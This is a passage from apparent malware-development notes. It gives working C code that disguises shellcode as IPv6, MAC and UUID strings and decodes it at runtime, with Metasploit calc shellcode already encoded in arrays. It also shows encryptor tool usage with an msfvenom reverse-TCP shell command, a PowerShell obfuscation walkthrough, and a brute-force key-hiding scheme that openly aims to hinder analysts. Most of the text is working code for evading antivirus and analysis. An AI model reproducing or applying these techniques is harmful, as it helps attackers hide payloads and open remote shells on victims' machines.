"8B40:2049:01D0:E356:48FF:C941:8B34:8848", "01D6:4D31:C948:31C0:AC41:C1C9:0D41:01C1", "38E0:75F1:4C03:4C24:0845:39D1:75D8:5844",
"8B40:2449:01D0:6641:8B0C:4844:8B40:1C49", "01D0:418B:0488:4801:D041:5841:585E:595A", "4158:4159:415A:4883:EC20:4152:FFE0:5841",
"595A:488B:12E9:57FF:FFFF:5D48:BA01:0000", "0000:0000:0048:8D8D:0101:0000:41BA:318B", "6F87:FFD5:BBE0:1D2A:0A41:BAA6:95BD:9DFF",
"D548:83C4:283C:067C:0A80:FBE0:7505:BB47", "1372:6F6A:0059:4189:DAFF:D563:616C:6300"
};
#define NumberOfElements 17
int main() {
PBYTE pDAddress = NULL;
SIZE_T sDSize = NULL;
if (!Ipv6Deobfuscation(Ipv6Array, NumberOfElements, &pDAddress, &sDSize))
return -1;
printf("[+] Deobfuscated Bytes at 0x%p of Size %ld ::: \n", pDAddress, sDSize);
for (size_t i = 0; i < sDSize; i++) {
if (i % 16 == 0)
printf("\n\t");
printf("%0.2X ", pDAddress[i]);
}
HeapFree(GetProcessHeap(), 0, pDAddress);
printf("\n\n[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
MACFucscation
Converts shellcode to MAC addresses.
- Obfuscation
A MAC address is made up of 6 bytes, therefore the shellcode should be a multiple of 6, which again can be padded if it doesn't meet that requirement.
#include <Windows.h>
#include <stdio.h>
// disable error 4996 (caused by sprint)
#pragma warning (disable:4996)
// Function takes in 6 raw bytes and returns them in a MAC address string format
char* GenerateMAC(int a, int b, int c, int d, int e, int f) {
char Output[64];
// Creating the MAC address and saving it to the 'Output' variable
sprintf(Output, "%0.2X-%0.2X-%0.2X-%0.2X-%0.2X-%0.2X",a, b, c, d, e, f);
// Optional: Print the 'Output' variable to the console
// printf("[i] Output: %s\n", Output);
return (char*)Output;
}
// Generate the MAC output representation of the shellcode
// Function requires a pointer or base address to the shellcode buffer & the size of the shellcode buffer
BOOL GenerateMacOutput(unsigned char* pShellcode, SIZE_T ShellcodeSize) {
// If the shellcode buffer is null or the size is not a multiple of 6, exit
if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize % 6 != 0){
return FALSE;
}
printf("char* MacArray [%d] = {\n\t", (int)(ShellcodeSize / 6));
// We will read one shellcode byte at a time, when the total is 6, begin generating the MAC address
// The variable 'c' is used to store the number of bytes read. By default, starts at 6.
int c = 6, counter = 0;
char* Mac = NULL;
for (int i = 0; i < ShellcodeSize; i++) {
// Track the number of bytes read and when they reach 6 we enter this if statement to begin generating the MAC address
if (c == 6) {
counter++;
// Generating the MAC address from 6 bytes which begin at i until [i + 5]
Mac = GenerateMAC(pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3], pShellcode[i + 4], pShellcode[i + 5]);
if (i == ShellcodeSize - 6) {
// Printing the last MAC address
printf("\"%s\"", Mac);
break;
}
else {
// Printing the MAC address
printf("\"%s\", ", Mac);
}
c = 1;
// Optional: To beautify the output on the console
if (counter % 6 == 0) {
printf("\n\t");
}
}
else {
c++;
}
}
printf("\n};\n\n");
return TRUE;
}
// x64 calc metasploit shellcode {272 bytes + 4 0x00 bytes}
unsigned char rawData[] = {
// copy shellcode here
};
int main() {
if (!GenerateMacOutput(rawData, sizeof(rawData))) {
// if failed, that is sizeof(rawData) isn't a multiple of 6
return -1;
}
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
- Deobfuscation
Performing deobfuscation will require the use of the NTDLL API function RtlEthernetStringToAddressA. This function converts a MAC address from a string representation to its binary format.
#include <Windows.h>
#include <stdio.h>
// https://learn.microsoft.com/en-us/windows/win32/api/ip2string/nf-ip2string-rtlethernetstringtoaddressa
typedef NTSTATUS (NTAPI* fnRtlEthernetStringToAddressA)(
PCSTR S,
PCSTR* Terminator,
PVOID Addr
);
BOOL MacDeobfuscation(IN CHAR* MacArray[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {
PBYTE pBuffer = NULL,
TmpBuffer = NULL;
SIZE_T sBuffSize = NULL;
PCSTR Terminator = NULL;
NTSTATUS STATUS = NULL;
// Getting RtlIpv6StringToAddressA address from ntdll.dll
fnRtlEthernetStringToAddressA pRtlEthernetStringToAddressA = (fnRtlEthernetStringToAddressA)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "RtlEthernetStringToAddressA");
if (pRtlEthernetStringToAddressA == NULL) {
printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Getting the real size of the shellcode which is the number of MAC addresses * 6
sBuffSize = NmbrOfElements * 6;
// Allocating memeory which will hold the deobfuscated shellcode
pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, sBuffSize);
if (pBuffer == NULL) {
printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
}
TmpBuffer = pBuffer;
// Loop through all the MAC addresses saved in MacArray
for (int i = 0; i < NmbrOfElements; i++) {
// Deobfuscating one MAC address at a time
// MacArray[i] is a single Mac address from the array MacArray
if ((STATUS = pRtlEthernetStringToAddressA(MacArray[i], &Terminator, TmpBuffer)) != 0x0) {
// if it failed
printf("[!] RtlEthernetStringToAddressA Failed At [%s] With Error 0x%0.8X", MacArray[i], STATUS);
return FALSE;
}
// 6 bytes are written to TmpBuffer at a time
// Therefore Tmpbuffer will be incremented by 6 to store the
TmpBuffer = (PBYTE)(TmpBuffer + 6);
}
// Save the base address & size of the deobfuscated payload
*ppDAddress = pBuffer;
*pDSize = sBuffSize;
return TRUE;
}
// Output from fuscation code above:
char* MacArray[] = {
"FC-48-83-E4-F0-E8", "C0-00-00-00-41-51", "41-50-52-51-56-48", "31-D2-65-48-8B-52", "60-48-8B-52-18-48", "8B-52-20-48-8B-72",
"50-48-0F-B7-4A-4A", "4D-31-C9-48-31-C0", "AC-3C-61-7C-02-2C", "20-41-C1-C9-0D-41", "01-C1-E2-ED-52-41", "51-48-8B-52-20-8B",
"42-3C-48-01-D0-8B", "80-88-00-00-00-48", "85-C0-74-67-48-01", "D0-50-8B-48-18-44", "8B-40-20-49-01-D0", "E3-56-48-FF-C9-41",
"8B-34-88-48-01-D6", "4D-31-C9-48-31-C0", "AC-41-C1-C9-0D-41", "01-C1-38-E0-75-F1", "4C-03-4C-24-08-45", "39-D1-75-D8-58-44",
"8B-40-24-49-01-D0", "66-41-8B-0C-48-44", "8B-40-1C-49-01-D0", "41-8B-04-88-48-01", "D0-41-58-41-58-5E", "59-5A-41-58-41-59",
"41-5A-48-83-EC-20", "41-52-FF-E0-58-41", "59-5A-48-8B-12-E9", "57-FF-FF-FF-5D-48", "BA-01-00-00-00-00", "00-00-00-48-8D-8D",
"01-01-00-00-41-BA", "31-8B-6F-87-FF-D5", "BB-E0-1D-2A-0A-41", "BA-A6-95-BD-9D-FF", "D5-48-83-C4-28-3C", "06-7C-0A-80-FB-E0",
"75-05-BB-47-13-72", "6F-6A-00-59-41-89", "DA-FF-D5-63-61-6C", "63-00-00-00-00-00"
};
#define NumberOfElements 46
int main() {
PBYTE pDAddress = NULL;
SIZE_T sDSize = NULL;
if (!MacDeobfuscation(MacArray, NumberOfElements, &pDAddress, &sDSize))
return -1;
printf("[+] Deobfuscated Bytes at 0x%p of Size %ld ::: \n", pDAddress, sDSize);
for (size_t i = 0; i < sDSize; i++) {
if (i % 16 == 0)
printf("\n\t");
printf("%0.2X ", pDAddress[i]);
}
HeapFree(GetProcessHeap(), 0, pDAddress);
printf("\n\n[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
UUIDFuscation
UUID is a 36-character alphanumeric string that can be used to identify information.
The UUID format is made up of 5 segments of different sizes. The first three segments use little-endian byte ordering, the three last ones use big endian:
FC 48 83 E4 F0 E8 C0 00 00 00 41 51 41 50 52
--> E48348FCE8F0-00C0-0000-415141505251
- Obfuscation
A UUID address is made up of 16 bytes, therefore the shellcode should be a multiple of 16. UUIDFuscation will resemble IPv6Fuscation closely due to both requiring shellcode multiples of 16 bytes. Again, padding can be used if the shellcode doesn't meet that requirement.
#include <Windows.h>
#include <stdio.h>
// disable error 4996 (caused by sprint)
#pragma warning (disable:4996)
// Function takes in 16 raw bytes and returns them in a UUID string format
char* GenerateUUid(int a, int b, int c, int d, int e, int f, int g, int h, int i, int j, int k, int l, int m, int n, int o, int p) {
// Each UUID segment is 32 bytes
char Output0[32], Output1[32], Output2[32], Output3[32];
// There are 4 segments in a UUID (32 * 4 = 128)
char result[128];
// Generating output0 from the first 4 bytes
sprintf(Output0, "%0.2X%0.2X%0.2X%0.2X", d, c, b, a);
// Generating output1 from the second 4 bytes
sprintf(Output1, "%0.2X%0.2X-%0.2X%0.2X", f, e, h, g);
// Generating output2 from the third 4 bytes
sprintf(Output2, "%0.2X%0.2X-%0.2X%0.2X", i, j, k, l);
// Generating output3 from the last 4 bytes
sprintf(Output3, "%0.2X%0.2X%0.2X%0.2X", m, n, o, p);
// Combining Output0,1,2,3 to generate the UUID
sprintf(result, "%s-%s-%s%s", Output0, Output1, Output2, Output3);
//printf("[i] result: %s\n", (char*)result);
return (char*)result;
}
// Generate the UUID output representation of the shellcode
// Function requires a pointer or base address to the shellcode buffer & the size of the shellcode buffer
BOOL GenerateUuidOutput(unsigned char* pShellcode, SIZE_T ShellcodeSize) {
// If the shellcode buffer is null or the size is not a multiple of 16, exit
if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize % 16 != 0) {
return FALSE;
}
printf("char* UuidArray[%d] = { \n\t", (int)(ShellcodeSize / 16));
// We will read one shellcode byte at a time, when the total is 16, begin generating the UUID string
// The variable 'c' is used to store the number of bytes read. By default, starts at 16.
int c = 16, counter = 0;
char* UUID = NULL;
for (int i = 0; i < ShellcodeSize; i++) {
// Track the number of bytes read and when they reach 16 we enter this if statement to begin generating the UUID string
if (c == 16) {
counter++;
// Generating the UUID string from 16 bytes which begin at i until [i + 15]
UUID = GenerateUUid(
pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3],
pShellcode[i + 4], pShellcode[i + 5], pShellcode[i + 6], pShellcode[i + 7],
pShellcode[i + 8], pShellcode[i + 9], pShellcode[i + 10], pShellcode[i + 11],
pShellcode[i + 12], pShellcode[i + 13], pShellcode[i + 14], pShellcode[i + 15]
);
if (i == ShellcodeSize - 16) {
// Printing the last UUID string
printf("\"%s\"", UUID);
break;
}
else {
// Printing the UUID string
printf("\"%s\", ", UUID);
}
c = 1;
// Optional: To beautify the output on the console
if (counter % 3 == 0) {
printf("\n\t");
}
}
else {
c++;
}
}
printf("\n};\n\n");
return TRUE;
}
// x64 calc metasploit shellcode {272 bytes}
unsigned char rawData[] = {
// copy shellcode here
};
int main() {
if (!GenerateUuidOutput(rawData, sizeof(rawData))) {
// if failed, that is sizeof(rawData) isnt multiple of 16
return -1;
}
printf("[#] Press <Enter> To Quit ...");
getchar();
return 0;
}
- Deobfuscation
Although different segments have different endianness, that will not affect the deobfuscation process because the UuidFromStringA WinAPI takes care of this.
#include <Windows.h>
#include <stdio.h>
// https://learn.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce-uuidfromstringa
typedef RPC_STATUS (WINAPI* fnUuidFromStringA)(
RPC_CSTR StringUuid,
UUID* Uuid
);
BOOL UuidDeobfuscation(IN CHAR* UuidArray[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {
PBYTE pBuffer = NULL,
TmpBuffer = NULL;
SIZE_T sBuffSize = NULL;
RPC_STATUS STATUS = NULL;
// Getting UuidFromStringA address from Rpcrt4.dll
fnUuidFromStringA pUuidFromStringA = (fnUuidFromStringA)GetProcAddress(LoadLibrary(TEXT("RPCRT4")), "UuidFromStringA");
if (pUuidFromStringA == NULL) {
printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Getting the real size of the shellcode which is the number of UUID strings * 16
sBuffSize = NmbrOfElements * 16;
// Allocating memory which will hold the deobfuscated shellcode
pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sBuffSize);
if (pBuffer == NULL) {
printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Setting TmpBuffer to be equal to pBuffer
TmpBuffer = pBuffer;
// Loop through all the UUID strings saved in UuidArray
for (int i = 0; i < NmbrOfElements; i++) {
// Deobfuscating one UUID string at a time
// UuidArray[i] is a single UUID string from the array UuidArray
if ((STATUS = pUuidFromStringA((RPC_CSTR)UuidArray[i], (UUID*)TmpBuffer)) != RPC_S_OK) {
// if it failed
printf("[!] UuidFromStringA Failed At [%s] With Error 0x%0.8X", UuidArray[i], STATUS);
return FALSE;
}
// 16 bytes are written to TmpBuffer at a time
// Therefore Tmpbuffer will be incremented by 16 to store the upcoming 16 bytes
TmpBuffer = (PBYTE)(TmpBuffer + 16);
}
*ppDAddress = pBuffer;
*pDSize = sBuffSize;
return TRUE;
}
// Output from fuscation code above:
char* UuidArray[] = {
"E48348FC-E8F0-00C0-0000-415141505251", "D2314856-4865-528B-6048-8B5218488B52", "728B4820-4850-B70F-4A4A-4D31C94831C0",
"7C613CAC-2C02-4120-C1C9-0D4101C1E2ED", "48514152-528B-8B20-423C-4801D08B8088", "48000000-C085-6774-4801-D0508B481844",
"4920408B-D001-56E3-48FF-C9418B348848", "314DD601-48C9-C031-AC41-C1C90D4101C1", "F175E038-034C-244C-0845-39D175D85844",
"4924408B-D001-4166-8B0C-48448B401C49", "8B41D001-8804-0148-D041-5841585E595A", "59415841-5A41-8348-EC20-4152FFE05841",
"8B485A59-E912-FF57-FFFF-5D48BA010000", "00000000-4800-8D8D-0101-000041BA318B", "D5FF876F-E0BB-2A1D-0A41-BAA695BD9DFF",
"C48348D5-3C28-7C06-0A80-FBE07505BB47", "6A6F7213-5900-8941-DAFF-D563616C6300"
};
#define NumberOfElements 17
int main() {
PBYTE pDAddress = NULL;
SIZE_T sDSize = NULL;
if (!UuidDeobfuscation(UuidArray, NumberOfElements, &pDAddress, &sDSize))
return -1;
printf("[+] Deobfuscated Bytes at 0x%p of Size %ld ::: \n", pDAddress, sDSize);
for (size_t i = 0; i < sDSize; i++) {
if (i % 16 == 0)
printf("\n\t");
printf("%0.2X ", pDAddress[i]);
}
HeapFree(GetProcessHeap(), 0, pDAddress);
printf("\n\n[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
HellShell
https://github.com/NUL0x4C/HellShell
The tool has the following features:
Supports IPv4/IPv6/MAC/UUID Obfuscation
Supports XOR/RC4/AES encryption
Supports payload padding
Provides the decryption function for the selected encryption/obfuscation technique
Randomly generated encryption keys on every run
Example of usage:
HellShell.exe shellcode.bin aes > AesPayload.c
msfvenom -p windows/x64/shell_reverse_tcp lhost=10.0.2.5 lport=443 EXITFUNC=thread -f raw -o rev.bin
.\HellShell.exe .\rev.bin ipv6
MiniShell
Similar to HellShell, which allows encryption of raw payloads.
Supports RC4 and AES
Outputs the decryption function of the selected encryption type
Outputs the encrypted bytes as a bin file
Randomly generated keys for the encryption algorithms
Example of usage:
.\MiniShell.exe .\calc.bin aes calcenc.bin > aes.c
-> Use AES for encryption, write the encrypted bytes to calcenc.bin
, and output the decryption function to aes.c
.
PS Script Obfuscation
- ISE-Steroids
https://github.com/JamesIsWack/Powershell-ISE-Steroids/tree/main
To install it:
Install-Module -Name ISESteroids
To launch it:
powershell_ise.exe
Import-Module ISESteroids
To launch it:
Start-Steroids
To obfuscate an script we go to Tools > Obfuscate Code > Check al settings and dont check any options > Ok
Brute Force Decryption
If the encryption key is saved in plaintext within the binary it can be trivially retrieved without needing to execute the program.
One solution is to encrypt the key with another key and decrypt it at runtime. To avoid hardcoding the key inside the binary, the key is brute-forced.
This forces the analysts to debug the binary to understand how the key is generated which is where the anti-analysis techniques come in handy.
The key encryption process involves using a hint byte to perform encryption and decryption functions. The hint byte is used to encrypt a plaintext key using XOR encryption. To decrypt the key, the hint byte is guessed by XORing it with different keys until it matches the original hint byte. This process is implemented in the BruteForceDecryption function, which requires the same hint byte used in the encryption process.
The following program will output the code needed to brute-force a key, to make it work, compile with the key used to encrypt the payload.
#include <Windows.h>
#include <stdio.h>
#include <time.h>
// input your key bytes here
unsigned char Key[] = {
0x61, 0x1A, 0xA0, 0xAA, 0xA7, 0x92, 0x9F, 0xBA, 0x8F, 0xCE, 0x4C, 0xD8, 0x11, 0xFA, 0xED, 0xB9
};
VOID PrintHexData(LPCSTR Name, PBYTE Data, SIZE_T Size) {
printf("unsigned char %s[] = {", Name);
for (int i = 0; i < Size; i++) {
if (i % 16 == 0) {
printf("\n\t");
}
if (i < Size - 1) {
printf("0x%0.2X, ", Data[i]);
}
else {
printf("0x%0.2X ", Data[i]);
}
}
printf("};\n\n");
}
VOID GenerateProtectedKey(IN PBYTE pKey, IN SIZE_T sKey, OUT PBYTE* ppProtectedKey) {
srand(time(NULL) / 3);
BYTE b = rand() % 0xFF;
PBYTE pProtectedKey = (PBYTE)malloc(sKey);
if (!pKey || !pProtectedKey)
return;
srand(time(NULL) * 2);
PrintHexData("OriginalKey", pKey, sKey);
for (int i = 0; i < sKey; i++) {
pProtectedKey[i] = (BYTE)((pKey[i] + i) ^ b);
}
*ppProtectedKey = pProtectedKey;
}
VOID PrintFunction() {
CHAR* buf =
"BYTE BruteForceDecryption(IN BYTE HintByte, IN PBYTE pProtectedKey, IN SIZE_T sKey, OUT PBYTE* ppRealKey) {\n\n"
"\tBYTE b = 0;\n"
"\tINT i = 0;\n"
"\tPBYTE pRealKey = (PBYTE)malloc(sKey);\n\n"
"\tif (!pRealKey)\n"
"\t\t\b\b\breturn NULL;\n\n"
"\twhile (1){\n\n"
"\t\tif (((pProtectedKey[0] ^ b)) == HintByte)\n"
"\t\t\t\b\b\bbreak;\n"
"\t\telse\n"
"\t\t\t\b\b\bb++;\n\n"
"\t}\n\n"
"\tfor (int i = 0; i < sKey; i++){\n"
"\t\tpRealKey[i] = (BYTE)((pProtectedKey[i] ^ b) - i);\n"
"\t}\n\n"
"\t*ppRealKey = pRealKey;\n"
"\treturn b;\n"
"}\n\n";
printf("%s", buf);
}
int main() {
srand(time(NULL));
PBYTE pProtectedKey = NULL;
BYTE bHintByte = (BYTE)(Key[0]);
printf("/*\n\n");
printf("[i] Input Key Size : %d \n", sizeof(Key));
printf("[+] Using \"0x%0.2X\" As A Hint Byte \n\n", bHintByte);
printf("[+] Use The Following Key For [Encryption] \n");
GenerateProtectedKey(Key, sizeof(Key), &pProtectedKey);
printf("[+] Use The Following For [Implementations] \n");
PrintHexData("ProtectedKey", pProtectedKey, sizeof(Key));
printf("\n\n\t\t\t-------------------------------------------------\n\n");
printf("*/\n\n");
printf("#include <Windows.h>\n\n");
printf("#define HINT_BYTE 0x%0.2X\n\n", bHintByte);
PrintHexData("ProtectedKey", pProtectedKey, sizeof(Key));
PrintFunction();
printf("// Example calling:\n\n// PBYTE\tpRealKey\t=\tNULL;\n// BruteForceDecryption(HINT_BYTE, ProtectedKey, sizeof(ProtectedKey), &pRealKey); \n\n");
free(pProtectedKey);
return 0;
}
// EXAMPLE
/*
#define HINT_BYTE 0x61
unsigned char ProtectedKey[] = {
0x8B, 0x15, 0x74, 0x2C, 0xD7, 0xB8, 0xC9, 0xD6, 0xA0, 0xBD, 0xE0, 0xC9, 0xAC, 0x25, 0x09, 0xBE };
BYTE BruteForceDecryption(IN BYTE HintByte, IN PBYTE pProtectedKey, IN SIZE_T sKey, OUT PBYTE* ppRealKey) {
BYTE b = 0;
INT i = 0;
PBYTE pRealKey = (PBYTE)malloc(sKey);
if (!pRealKey)
return NULL;
while (1) {
if (((pProtectedKey[0] ^ b)) == HintByte)
break;
else
b++;
}
for (int i = 0; i < sKey; i++) {
pRealKey[i] = (BYTE)((pProtectedKey[i] ^ b) - i);
}
*ppRealKey = pRealKey;
return b;
}
int main() {
PBYTE pRealKey = NULL;
BruteForceDecryption(HINT_BYTE, ProtectedKey, sizeof(ProtectedKey), &pRealKey);
PrintHexData("pRealKey", pRealKey, sizeof(Key));
}
*/
For example, to implement this with RC4:
// Copy output from previous tool
if (!Rc4EncryptionViSystemFunc032(pRealKey, pPayload, sizeof(ProtectedKey), sSize)) {
// Failed
return -1;
}
Last updated